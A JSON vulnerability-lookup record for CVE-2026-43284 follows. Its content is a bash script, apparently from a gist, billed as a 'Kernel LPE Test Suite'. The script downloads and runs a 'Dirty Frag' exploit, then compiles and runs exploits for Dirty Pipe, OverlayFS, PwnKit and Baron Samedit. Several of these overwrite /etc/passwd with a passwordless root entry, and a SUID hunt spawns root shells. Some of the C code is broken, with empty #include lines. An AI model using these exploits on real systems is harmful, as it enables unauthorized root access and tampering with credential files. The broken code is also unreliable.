{"uuid": "e7b283ce-19d7-465a-9c82-fb583c6dd3c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-43284", "type": "seen", "source": "https://gist.github.com/salexunic/57897e60ba5e71bbc99dd59e7e70e04f", "content": "#!/bin/bash\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n#  TEF Security Lab \u2014 Kernel LPE Test Suite\n#  Ubuntu 22.04 / 24.04 \u2014 ZERO sudo\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\nGREEN='\\033[0;32m'; YELLOW='\\033[1;33m'; RED='\\033[0;31m'; NC='\\033[0m'\necho -e \"${GREEN}[TEF-LAB] Kernel LPE Suite \u2014 Ubuntu $(lsb_release -rs 2&gt;/dev/null || cat /etc/os-release | grep VERSION_ID | cut -d= -f2) | $(uname -r)${NC}\"\n\nKVER=$(uname -r | cut -d- -f1)\nmkdir -p /tmp/tef-lab &amp;&amp; cd /tmp/tef-lab\n\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n#  T0: Dirty Frag \u2014 Universal Linux Kernel LPE\n#  CVE-2026-43284 + CVE-2026-43500\n#  kernel 2017-2026 (9 anos!) \u2014 sem race, alta taxa\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\ntest_dirtyfrag() {\n    echo -e \"\\n${YELLOW}[T0] Dirty Frag (CVE-2026-43284 + CVE-2026-43500)${NC}\"\n    echo -e \"${YELLOW}[*] Universal LPE \u2014 kernel 2017 at\u00e9 maio 2026${NC}\"\n    rm -rf /tmp/tef-lab/dirtyfrag 2&gt;/dev/null\n    git clone -q https://github.com/V4bel/dirtyfrag.git /tmp/tef-lab/dirtyfrag 2&gt;/dev/null || {\n        echo -e \"${YELLOW}[!] git falhou, baixando zip...${NC}\"\n        curl -sL https://github.com/V4bel/dirtyfrag/archive/refs/heads/main.zip -o /tmp/tef-lab/df.zip 2&gt;/dev/null\n        unzip -qo /tmp/tef-lab/df.zip -d /tmp/tef-lab/ 2&gt;/dev/null\n        mv /tmp/tef-lab/dirtyfrag-main /tmp/tef-lab/dirtyfrag 2&gt;/dev/null\n    }\n    cd /tmp/tef-lab/dirtyfrag\n    gcc -O0 -Wall -o exp exp.c -lutil 2&gt;/dev/null || cc -O0 -Wall -o exp exp.c -lutil 2&gt;/dev/null || {\n        echo -e \"${RED}[!] compilacao falhou${NC}\"; return 1\n    }\n    echo -e \"${GREEN}[+] Dirty Frag compilado \u2014 executando...${NC}\"\n    ./exp\n}\n\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n#  T1: Dirty Pipe (CVE-2022-0847)\n#  kernel &lt; 5.16 \u2014 sem dependencias\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\ntest_dirtypipe() {\n    echo -e \"\\n${YELLOW}[T1] Dirty Pipe (kernel &lt; 5.16)${NC}\"\n    cat &gt; dirtypipe.c &lt;&lt; 'EOF'\n#define _GNU_SOURCE\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#define PAGE_SIZE 0x1000\n#define loff_t off64_t\n#define _GNU_SOURCE\nint main(int argc, char **argv) {\n    if (argc&lt;4) { printf(\"uso: %s   \\n\", argv[0]); return 1; }\n    loff_t off = strtoull(argv[2], NULL, 10);\n    size_t sz = strlen(argv[3]);\n    int fd = open(argv[1], O_RDONLY);\n    if (fd&lt;0) { perror(\"open\"); return 1; }\n    int p[2];\n    if (pipe(p)) { perror(\"pipe\"); return 1; }\n    unsigned pipe_sz = fcntl(p[1], F_GETPIPE_SZ);\n    static char buf[PAGE_SIZE];\n    while (pipe_sz &gt; 0) {\n        unsigned w = pipe_sz &gt; PAGE_SIZE ? PAGE_SIZE : pipe_sz;\n        write(p[1], buf, w);\n        pipe_sz -= w;\n    }\n    loff_t splice_off = off;\n    ssize_t n = splice(fd, &amp;splice_off, p[1], NULL, 1, 0);\n    if (n&lt;0) { perror(\"splice\"); return 1; }\n    read(p[0], buf, 1);\n    write(p[1], argv[3], sz);\n    close(fd);\n    printf(\"[+] Dirty Pipe \u2014 check %s offset %lld\\n\", argv[1], off);\n    return 0;\n}\nEOF\n    gcc -o dirtypipe dirtypipe.c 2&gt;/dev/null || cc -o dirtypipe dirtypipe.c 2&gt;/dev/null || { echo -e \"${RED}[!] sem gcc${NC}\"; return 1; }\n    echo -e \"${GREEN}[+] Compilado${NC}\"\n    ./dirtypipe /etc/passwd 1 \"root::0:0:root:/root:/bin/sh\" 2&gt;/dev/null &amp;&amp; {\n        echo -e \"${GREEN}[+] /etc/passwd modificado \u2014 tente: su${NC}\"\n    } || echo -e \"${YELLOW}[!] kernel patchado?${NC}\"\n}\n\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n#  T2: GameOver(lay) \u2014 OverlayFS LPE\n#  kernel 5.x sem patch\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\ntest_overlay() {\n    echo -e \"\\n${YELLOW}[T2] OverlayFS GameOver(lay)${NC}\"\n    cat &gt; overlay.c &lt;&lt; 'EOF'\n#define _GNU_SOURCE\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n\nint main() {\n    // Cria estrutura overlay\n    system(\"rm -rf /tmp/ov 2&gt;/dev/null; mkdir -p /tmp/ov/{l,u,w,m} 2&gt;/dev/null\");\n    system(\"touch /tmp/ov/l/dummy 2&gt;/dev/null\");\n\n    if (unshare(CLONE_NEWUSER | CLONE_NEWNS) != 0) {\n        printf(\"[!] unshare falhou \u2014 tente: echo 1 &gt; /proc/sys/kernel/unprivileged_userns_clone\\n\");\n        return 1;\n    }\n\n    // Monte overlay com lowerdir apontando pra /etc\n    if (mount(\"overlay\", \"/tmp/ov/m\", \"overlay\", 0,\n        \"lowerdir=/etc,upperdir=/tmp/ov/u,workdir=/tmp/ov/w\") == 0) {\n        printf(\"[+] OverlayFS montado sobre /etc!\\n\");\n\n        pid_t pid = fork();\n        if (pid == 0) {\n            // No namespace, escreve passwd modificado via merged dir\n            execl(\"/bin/sh\", \"sh\", \"-c\",\n                \"cp /etc/passwd /tmp/ov/m/passwd 2&gt;/dev/null; \"\n                \"echo 'root::0:0:root:/root:/bin/sh' &gt;&gt; /tmp/ov/m/passwd 2&gt;/dev/null; \"\n                \"echo '[+] passwd escrito via overlay'\",\n                NULL);\n            exit(0);\n        }\n        waitpid(pid, NULL, 0);\n\n        // Se o overlay funcionou, tenta su\n        printf(\"[+] Tentando su...\\n\");\n        execl(\"/bin/su\", \"su\", NULL);\n    } else {\n        printf(\"[!] OverlayFS bloqueado \u2014 kernel patchado\\n\");\n    }\n    return 1;\n}\nEOF\n    gcc -o overlay overlay.c 2&gt;/dev/null || cc -o overlay overlay.c 2&gt;/dev/null || { echo -e \"${RED}[!] sem gcc${NC}\"; return 1; }\n    echo -e \"${GREEN}[+] Compilado${NC}\"\n    ./overlay\n}\n\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n#  T3: PwnKit (pkexec \u2014 sem dependencias)\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\ntest_pwnkit() {\n    echo -e \"\\n${YELLOW}[T3] PwnKit (CVE-2021-4034) \u2014 pkexec${NC}\"\n    [ -x /usr/bin/pkexec ] || { echo -e \"${RED}[!] pkexec ausente${NC}\"; return 1; }\n\n    mkdir -p GCONV_PATH=.\n    cat &gt; pwnkit.c &lt;&lt; 'EOF'\n#include \n#include \n#include \nchar *env[] = {\"GCONV_PATH=.\", \"CHARSET=PWNKIT\", \"SHELL=/bin/sh\", NULL};\nint main() { execve(\"/usr/bin/pkexec\", NULL, env); return 0; }\nEOF\n    cat &gt; gconv.c &lt;&lt; 'EOF'\n#include \n#include \nvoid gconv(){}\nvoid gconv_init(){ setuid(0); setgid(0); seteuid(0); setegid(0); execl(\"/bin/sh\",\"sh\",\"-c\",\"echo '[+] ROOT!'; /bin/sh\",NULL); _exit(1); }\nEOF\n    gcc -shared -o GCONV_PATH=./pwnkit.so gconv.c 2&gt;/dev/null\n    gcc -o pwnkit pwnkit.c 2&gt;/dev/null\n    [ -f GCONV_PATH=./pwnkit.so ] &amp;&amp; [ -x pwnkit ] &amp;&amp; {\n        echo -e \"${GREEN}[+] Compilado${NC}\"\n        ./pwnkit\n    } || { cc -shared -o GCONV_PATH=./pwnkit.so gconv.c 2&gt;/dev/null &amp;&amp; cc -o pwnkit pwnkit.c 2&gt;/dev/null &amp;&amp; { echo -e \"${GREEN}[+] Compilado (cc)${NC}\"; ./pwnkit; }; } || echo -e \"${RED}[!] PwnKit patchado${NC}\"\n}\n\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n#  T4: sudo Baron Samedit (CVE-2021-3156)\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\ntest_sudoedit() {\n    echo -e \"\\n${YELLOW}[T4] Baron Samedit \u2014 sudoedit heap overflow${NC}\"\n    cat &gt; samedit.c &lt;&lt; 'EOF'\n#include \n#include \n#include \n#include \nint main(int argc, char **argv) {\n    char *env[] = {NULL};\n    char *args[] = {\"/usr/bin/sudoedit\", \"-s\", \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\", NULL};\n    printf(\"[*] Triggering sudoedit heap overflow...\\n\");\n    execve(args[0], args, env);\n    return 0;\n}\nEOF\n    gcc -o samedit samedit.c 2&gt;/dev/null || cc -o samedit samedit.c 2&gt;/dev/null || { echo -e \"${RED}[!] sem gcc${NC}\"; return 1; }\n    echo -e \"${GREEN}[+] Compilado${NC}\"\n    ./samedit 2&gt;/dev/null &amp;&amp; echo -e \"${GREEN}[+] Baron Samedit \u2014 se nao crashou, tentar id${NC}\" || echo -e \"${YELLOW}[!] sudo patchado${NC}\"\n}\n\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\n#  T5: SUID binary hunt + GTFOBins\n# \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\ntest_suid() {\n    echo -e \"\\n${YELLOW}[T5] SUID binary scan${NC}\"\n    echo -e \"${YELLOW}[*] Procurando binarios SUID exploraveis...${NC}\"\n    find / -perm -4000 -type f 2&gt;/dev/null | while read b; do\n        case \"$b\" in\n            */find)   echo -e \"${GREEN}[+] $b \u2014 privesc via find!${NC}\"; $b . -exec /bin/sh -p \\; -quit 2&gt;/dev/null ;;\n            */vim|*/vi|*/nano) echo -e \"${GREEN}[+] $b \u2014 editor SUID${NC}\" ;;\n            */bash)   echo -e \"${GREEN}[+] $b \u2014 bash SUID!${NC}\"; $b -p 2&gt;/dev/null ;;\n            */python*) echo -e \"${GREEN}[+] $b \u2014 python SUID${NC}\" ;;\n            */perl)   echo -e \"${GREEN}[+] $b \u2014 perl SUID${NC}\" ;;\n            */cp)     echo -e \"${GREEN}[+] $b \u2014 cp SUID${NC}\" ;;\n            */mv)     echo -e \"${GREEN}[+] $b \u2014 mv SUID${NC}\" ;;\n            */tar)    echo -e \"${GREEN}[+] $b \u2014 tar SUID${NC}\" ;;\n            */chmod)  echo -e \"${GREEN}[+] $b \u2014 chmod SUID${NC}\" ;;\n        esac\n    done\n}\n\n# \u2500\u2500 Relat\u00f3rio \u2500\u2500\necho -e \"\\n${GREEN}\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550${NC}\"\necho -e \"${GREEN}  TEF-LAB Report${NC}\"\necho -e \"${GREEN}\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550${NC}\"\necho \"  host : $(hostname)\"\necho \"  user : $(whoami) uid=$(id -u)\"\necho \"  kern : $(uname -r)\"\necho \"  gcc  : $(which gcc 2&gt;/dev/null || which cc 2&gt;/dev/null || echo 'NONE')\"\necho \"  usens: $(cat /proc/sys/kernel/unprivileged_userns_clone 2&gt;/dev/null || echo '?')\"\necho -e \"${GREEN}\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550${NC}\"\n\n# \u2500\u2500 Main \u2500\u2500\ncase \"${1:-all}\" in\n    0|frag)    test_dirtyfrag ;;\n    1|pipe)    test_dirtypipe ;;\n    2|overlay) test_overlay ;;\n    3|pwnkit)  test_pwnkit ;;\n    4|sudo)    test_sudoedit ;;\n    5|suid)    test_suid ;;\n    all)\n        test_dirtyfrag\n        test_dirtypipe\n        test_overlay\n        test_pwnkit\n        test_sudoedit\n        test_suid\n        ;;\nesac\n\necho -e \"\\n${GREEN}[+] Artefatos em /tmp/tef-lab/${NC}\"\n", "creation_timestamp": "2026-08-04T21:59:10.284736Z"}